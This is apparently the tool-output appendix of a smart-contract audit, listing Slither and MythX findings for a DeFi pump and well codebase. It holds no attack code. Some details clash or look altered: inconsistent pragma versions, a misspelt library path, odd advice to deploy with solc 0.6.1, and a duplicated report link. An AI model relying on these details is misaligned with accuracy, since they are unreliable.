 GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses timestamp for comparison:
 Dangerous comparisons:
 - `i < cumulativeReserves.length` (src/pumps/GeoEmaAndCumSmaPump.sol#272)
 GeoEmaAndCumSmaPump.readTwoReserves(address,bytes,uint256) (src/pumps/GeoEmaAndCumSmaPump.sol#278-296) uses timestamp for comparison:
 Dangerous comparisons:
 - `require(bool,string)(deltaTimestamp != bytes16(0),Well: No time passed)` (src/pumps/GeoEmaAndCumSmaPump.sol#289)
 Reference: <https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp>

LibBytes16.storeBytes16(bytes32,bytes16[]) (src/libraries/LibBytes16.sol#19-49) uses assembly:
 - `INLINE ASM (src/libraries/LibBytes16.sol#22-24)`
 - `INLINE ASM (src/libraries/LibBytes16.sol#30-35)`
 - `INLINE ASM (src/libraries/LibBytes16.sol#41-46)`
 LibBytes16.readBytes16(bytes32,uint256) (src/libraries/LibBytes16.sol#54-87) uses assembly:
 - `INLINE ASM (src/libraries/LibBytes16.sol#60-63)`
 - `INLINE ASM (src/libraries/LibBytes16.sol#74-80)`
 - `INLINE ASM (src/libraries/LibBytes16.sol#82-84)`
 LibLastReserveBytes.readN(bytes32) (src/libraries/LibLastReserveBytes.sol#13-17) uses assembly:
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#14-16)`
 LibLastReserveBytes.storeLastReserves(bytes32,uint40,bytes16[]) (src/libraries/LibLastReserveBytes.sol#19-62) uses assembly:
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#23-25)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#28-37)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#43-48)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#54-59)`
 LibLastReserveBytes.readLastReserves(bytes32) (src/libraries/LibLastReserveBytes.sol#67-112) uses assembly:
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#74-78)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#82-84)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#86-88)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#98-104)`
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#106-108)`
 LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) uses assembly:
 - `INLINE ASM (src/libraries/LibLastReserveBytes.sol#115-117)`
 GeoEmaAndCumSmaPump.update(uint256[],bytes) (src/pumps/GeoEmaAndCumSmaPump.sol#63-124) uses assembly:
 - `INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#82-84)`
 - `INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#86-88)`


```

- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#114-116)
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#118-120)
GeoEmaAndCumSmaPump._init(bytes32,uint40,uint256[]) (src/pumps/GeoEmaAndCumSmaPump.sol#130-150) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#146-148)
GeoEmaAndCumSmaPump.readLastInstantaneousReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#203-216) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#207-209)
GeoEmaAndCumSmaPump.readInstantaneousReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#218-237) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#223-225)
GeoEmaAndCumSmaPump.readLastCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#244-252) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#248-250)
GeoEmaAndCumSmaPump._readCumulativeReserves(address) (src/pumps/GeoEmaAndCumSmaPump.sol#259-276) uses assembly
- INLINE ASM (src/pumps/GeoEmaAndCumSmaPump.sol#264-266)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#assembly-usage

```

```

Different versions of Solidity are used:
- Version used: ['<0.8.17', '<0.8.0', '<0.8.17']
- <0.8.17 (src/interfaces/pumps/ICumulativePump.sol#3)
- <0.8.17 (src/interfaces/pumps/IInstantaneousPump.sol#3)
- <0.8.17 (src/interfaces/pumps/IPump.sol#3)
- ABIEncoderV2 (src/interfaces/pumps/ICumulativePump.sol#4)
- ABIEncoderV2 (src/interfaces/pumps/IInstantaneousPump.sol#4)
- ABIEncoderV2 (src/interfaces/pumps/IPump.sol#4)
- <0.8.0 (lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol#4)
- <0.8.0 (lib/openzeppelin-contracts/contracts/utils/math/SafeCast.sol#5)
- <0.8.0 (src/libraries/ABDKMathQuad.sol#6)
- <0.8.17 (src/interfaces/IWell.sol#3)
- <0.8.17 (src/libraries/LibBytes16.sol#3)
- <0.8.17 (src/libraries/LibLastReserveBytes.sol#3)
- <0.8.17 (src/pumps/GeoEmaAndCumSmaPump.sol#3)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#different-pragma-directives-are-used

```

```

ABDKMathQuad.abs(bytes16) (src/libraries/ABDKMathQuad.sol#984-988) is never used and should be removed
ABDKMathQuad.eq(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#594-602) is never used and should be removed
ABDKMathQuad.exp(bytes16) (src/libraries/ABDKMathQuad.sol#2028-2032) is never used and should be removed
ABDKMathQuad.from128x128(int256) (src/libraries/ABDKMathQuad.sol#240-258) is never used and should be removed
ABDKMathQuad.from64x64(int128) (src/libraries/ABDKMathQuad.sol#297-315) is never used and should be removed
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) is never used and should be removed
ABDKMathQuad.fromInt(int256) (src/libraries/ABDKMathQuad.sol#51-69) is never used and should be removed
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) is never used and should be removed
ABDKMathQuad.isInfinity(bytes16) (src/libraries/ABDKMathQuad.sol#523-527) is never used and should be removed
ABDKMathQuad.isNaN(bytes16) (src/libraries/ABDKMathQuad.sol#510-514) is never used and should be removed
ABDKMathQuad.ln(bytes16) (src/libraries/ABDKMathQuad.sol#1129-1133) is never used and should be removed
ABDKMathQuad.neg(bytes16) (src/libraries/ABDKMathQuad.sol#972-976) is never used and should be removed
ABDKMathQuad.pow_2(bytes16) (src/libraries/ABDKMathQuad.sol#1141-1572) is never used and should be removed
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) is never used and should be removed
ABDKMathQuad.sqrt(bytes16) (src/libraries/ABDKMathQuad.sol#996-1049) is never used and should be removed
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) is never used and should be removed
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) is never used and should be removed
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) is never used and should be removed
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) is never used and should be removed
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) is never used and should be removed
LibLastReserveBytes.readBytes(bytes32) (src/libraries/LibLastReserveBytes.sol#114-118) is never used and should be removed
SafeCast.toInt104(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#901-904) is never used and should be removed
SafeCast.toInt112(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#883-886) is never used and should be removed
SafeCast.toInt120(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#865-868) is never used and should be removed
SafeCast.toInt128(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#847-850) is never used and should be removed
SafeCast.toInt136(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#829-832) is never used and should be removed
SafeCast.toInt144(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#811-814) is never used and should be removed
SafeCast.toInt152(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#793-796) is never used and should be removed
SafeCast.toInt16(int256) (lib/openzeppelin-contracts/contracts/contracts/utils/math/SafeCast.sol#1099-1102) is never used and should be removed

```



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Pragma version^0.8.0 (lib/ENZEPELLIN-contracts/contracts/token/ERC20/IERC20.sol#4) allows old versions
Pragma version^0.8.0 (lib/ENZEPELLIN-contracts/contracts/utils/math/SafeCast.sol#5) allows old versions
Pragma version^0.8.17 (src/interfaces/IWell.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.1
Pragma version=0.8.17 (src/interfaces/pumps/ICumulativePump.sol#3) necessitates a version too recent to be trusted. Consider depl
Pragma version=0.8.17 (src/interfaces/pumps/IInstantaneousPump.sol#3) necessitates a version too recent to be trusted. Consider d
Pragma version=0.8.17 (src/interfaces/pumps/IPump.sol#3) necessitates a version too recent to be trusted. Consider deploying with
Pragma version^0.8.0 (src/libraries/ABDKMathQuad.sol#6) allows old versions
Pragma version^0.8.17 (src/libraries/LibBytes16.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0
Pragma version^0.8.17 (src/libraries/LibLastReserveBytes.sol#3) necessitates a version too recent to be trusted. Consider deployi
Pragma version^0.8.17 (src/pumps/GeoEmaAndCumSmaPump.sol#3) necessitates a version too recent to be trusted. Consider deploying w
solc-0.8.17 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

```

```

Function ABDKMathQuad.log_2(bytes16) (src/libraries/ABDKMathQuad.sol#1057-1121) is not in mixedCase
Function ABDKMathQuad.pow_2(bytes16) (src/libraries/ABDKMathQuad.sol#1141-1572) is not in mixedCase
Function ABDKMathQuad.pow_2ToUInt(bytes16) (src/libraries/ABDKMathQuad.sol#1574-2020) is not in mixedCase
Constant ABDKMathQuad.NaN (src/libraries/ABDKMathQuad.sol#38) is not in UPPER_CASE_WITH_UNDERSCORES
Variable GeoEmaAndCumSmaPump.LOG_MAX_INCREASE (src/pumps/GeoEmaAndCumSmaPump.sol#35) is not in mixedCase
Variable GeoEmaAndCumSmaPump.LOG_MAX_DECREASE (src/pumps/GeoEmaAndCumSmaPump.sol#36) is not in mixedCase
Variable GeoEmaAndCumSmaPump.A (src/pumps/GeoEmaAndCumSmaPump.sol#37) is not in mixedCase
Variable GeoEmaAndCumSmaPump.BLOCK_TIME (src/pumps/GeoEmaAndCumSmaPump.sol#38) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

```

```

ABDKMathQuad.fromInt(int256) (src/libraries/ABDKMathQuad.sol#51-69) uses literals with too many digits:
- result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#64)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#90)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#78-99) uses literals with too many digits:
- require(bool)(result <= 0x8000000000000000000000000000000000000000000000000000000000000000) (src/libraries/ABDKMathQuad
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- uint128(result) > 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#123)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- bytes16(uint128(result)) == 0x3FFF0000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#125)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier |= 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#134)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier >= 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#148)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- xSignifier == 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#158)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- resultSignifier < 0x10000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#165)
ABDKMathQuad.fromUIntToLog2(uint256) (src/libraries/ABDKMathQuad.sol#107-186) uses literals with too many digits:
- bytes16(uint128(0x80000000000000000000000000000000 | resultExponent << 112 | resultSignifier & 0xFFFFFFFFFFFFFFFFFFFFFFFF
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#215-231) uses literals with too many digits:
- require(bool)(uint128(x) < 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#221)
ABDKMathQuad.toInt(bytes16) (src/libraries/ABDKMathQuad.sol#215-231) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.from128x128(int256) (src/libraries/ABDKMathQuad.sol#240-258) uses literals with too many digits:
- result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#253)
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#279)
ABDKMathQuad.to128x128(bytes16) (src/libraries/ABDKMathQuad.sol#267-288) uses literals with too many digits:
- require(bool)(result <= 0x8000000000000000000000000000000000000000000000000000000000000000) (src/libraries/ABDKMathQuad
ABDKMathQuad.from64x64(int128) (src/libraries/ABDKMathQuad.sol#297-315) uses literals with too many digits:
- result |= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#310)

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```

ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
- result = uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF | 0x10000000000000000000000000000000 (src/libraries/ABDKMath
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#336)
ABDKMathQuad.to64x64(bytes16) (src/libraries/ABDKMathQuad.sol#324-345) uses literals with too many digits:
- require(bool)(result <= 0x80000000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#338)
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
- negative = x & 0x8000000000000000000000000000000000000000000000000000000000000000 > 0 (src/libraries/ABDKMathQuad.sol#3
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
- significand = (significand | 0x1000000000000000000000000000000000000000000000000000000000000000) >> 245_885 - exponent (src
ABDKMathQuad.fromOctuple(bytes32) (src/libraries/ABDKMathQuad.sol#353-383) uses literals with too many digits:
- result != 0x8000000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#379)
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) uses literals with too many digits:
- uint128(x) >= 0x8000000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#412)
ABDKMathQuad.toOctuple(bytes16) (src/libraries/ABDKMathQuad.sol#391-418) uses literals with too many digits:
- result != 0x8000000000000000000000000000000000000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#413)
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) uses literals with too many digits:
- x & 0x8000000000000000 > 0 (src/libraries/ABDKMathQuad.sol#447)
ABDKMathQuad.fromDouble(bytes8) (src/libraries/ABDKMathQuad.sol#426-453) uses literals with too many digits:
- result != 0x8000000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#448)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- negative = uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#463)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- 0x7FF8000000000000 (src/libraries/ABDKMathQuad.sol#470)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- significand = (significand | 0x10000000000000000000000000000000) >> 15_421 - exponent (src/libraries/ABDKMathQuad.sol#490)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- result != 0x8000000000000000 (src/libraries/ABDKMathQuad.sol#498)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0xFFF0000000000000) (src/libraries/ABDKMathQuad.sol#473-475)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0x7FF0000000000000) (src/libraries/ABDKMathQuad.sol#473-475)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0xFFF0000000000000) (src/libraries/ABDKMathQuad.sol#480-482)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0x7FF0000000000000) (src/libraries/ABDKMathQuad.sol#480-482)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0x8000000000000000) (src/libraries/ABDKMathQuad.sol#485-487)
ABDKMathQuad.toDouble(bytes16) (src/libraries/ABDKMathQuad.sol#461-502) uses literals with too many digits:
- bytes8(0x0000000000000000) (src/libraries/ABDKMathQuad.sol#485-487)
ABDKMathQuad.isNaN(bytes16) (src/libraries/ABDKMathQuad.sol#510-514) uses literals with too many digits:
- uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF > 0x7FFF0000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#51
ABDKMathQuad.isInfinity(bytes16) (src/libraries/ABDKMathQuad.sol#523-527) uses literals with too many digits:
- uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0x7FFF0000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#5
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) uses literals with too many digits:
- require(bool)(absoluteX <= 0x7FFF0000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#540)
ABDKMathQuad.sign(bytes16) (src/libraries/ABDKMathQuad.sol#536-546) uses literals with too many digits:
- uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#543)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
- require(bool)(absoluteX <= 0x7FFF0000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#560)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
- require(bool)(absoluteY <= 0x7FFF0000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#564)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
- require(bool)(x != y || absoluteX < 0x7FFF0000000000000000000000000000) (src/libraries/ABDKMathQuad.sol#567)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
- negativeX = uint128(x) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#572)
ABDKMathQuad.cmp(bytes16,bytes16) (src/libraries/ABDKMathQuad.sol#556-584) uses literals with too many digits:
- negativeY = uint128(y) >= 0x80000000000000000000000000000000 (src/libraries/ABDKMathQuad.sol#573)

```


MythX Results:

Report for src/Auger.sol
<https://dashboard.mythx.io/#/console/analyses/95975b27-a2be-4199-9a84-7fff121aec93>

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.
23	(SWC-123) Requirement Violation	Low	Requirement violation.

Report for src/Utils/ImmutablePumps.sol
<https://dashboard.mythx.io/#/console/analyses/8467af85-53bb-41c2-b5e2-54ee18b934e3>

Line	SWC Title	Severity	Short Description
5	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Report for src/Utils/ImmutableTokens.sol
<https://dashboard.mythx.io/#/console/analyses/b8ca2d6e-09de-4adf-9da2-b4e1e1bac1ce>

Line	SWC Title	Severity	Short Description
5	(SWC-103) Floating Pragma	Low	A floating pragma is set.

Report for src/libraries/LibBytes.sol
<https://dashboard.mythx.io/#/console/analyses/c76a463c-fd75-43eb-9610-208995ce182b>

Line	SWC Title	Severity	Short Description
17	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
36	(SWC-110) Assert Violation	Unknown	Out of bounds array access
37	(SWC-110) Assert Violation	Unknown	Out of bounds array access
49	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
51	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "++" discovered
52	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
52	(SWC-110) Assert Violation	Unknown	Out of bounds array access
53	(SWC-110) Assert Violation	Unknown	Out of bounds array access
53	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
53	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
54	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
70	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "%" discovered
71	(SWC-101) Integer Overflow and Underflow	Unknown	Compiler-rewritable "<uint> - 1" discovered
71	(SWC-110) Assert Violation	Unknown	Out of bounds array access
71	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
72	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
103	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "++" discovered
107	(SWC-101) Integer Overflow and Underflow	Unknown	Compiler-rewritable "<uint> - 1" discovered
107	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
107	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
107	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
108	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "%" discovered

Report for src/utils/ImmutableWellFunction.sol
<https://dashboard.mythx.io/#/console/analyses/c76a463c-fd75-43eb-9610-208995ce182b>

Line	SWC Title	Severity	Short Description
5	(SWC-103) Floating Pragma	Low	A floating pragma is set.
20	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "*" discovered
115	(SWC-101) Integer Overflow and Underflow	Unknown	Compiler-rewritable "<uint> - 1" discovered
115	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
115	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
115	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered

Line	SWC Title	Severity	Short Description
3	(SWC-103) Floating Pragma	Low	A floating pragma is set.
28	(SWC-123) Requirement Violation	Low	Requirement violation.
35	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
36	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
37	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
38	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
261	(SWC-123) Requirement Violation	Low	Requirement violation.

- No major issues found by the MythX tool.



THANK YOU FOR CHOOSING

// HALBORN

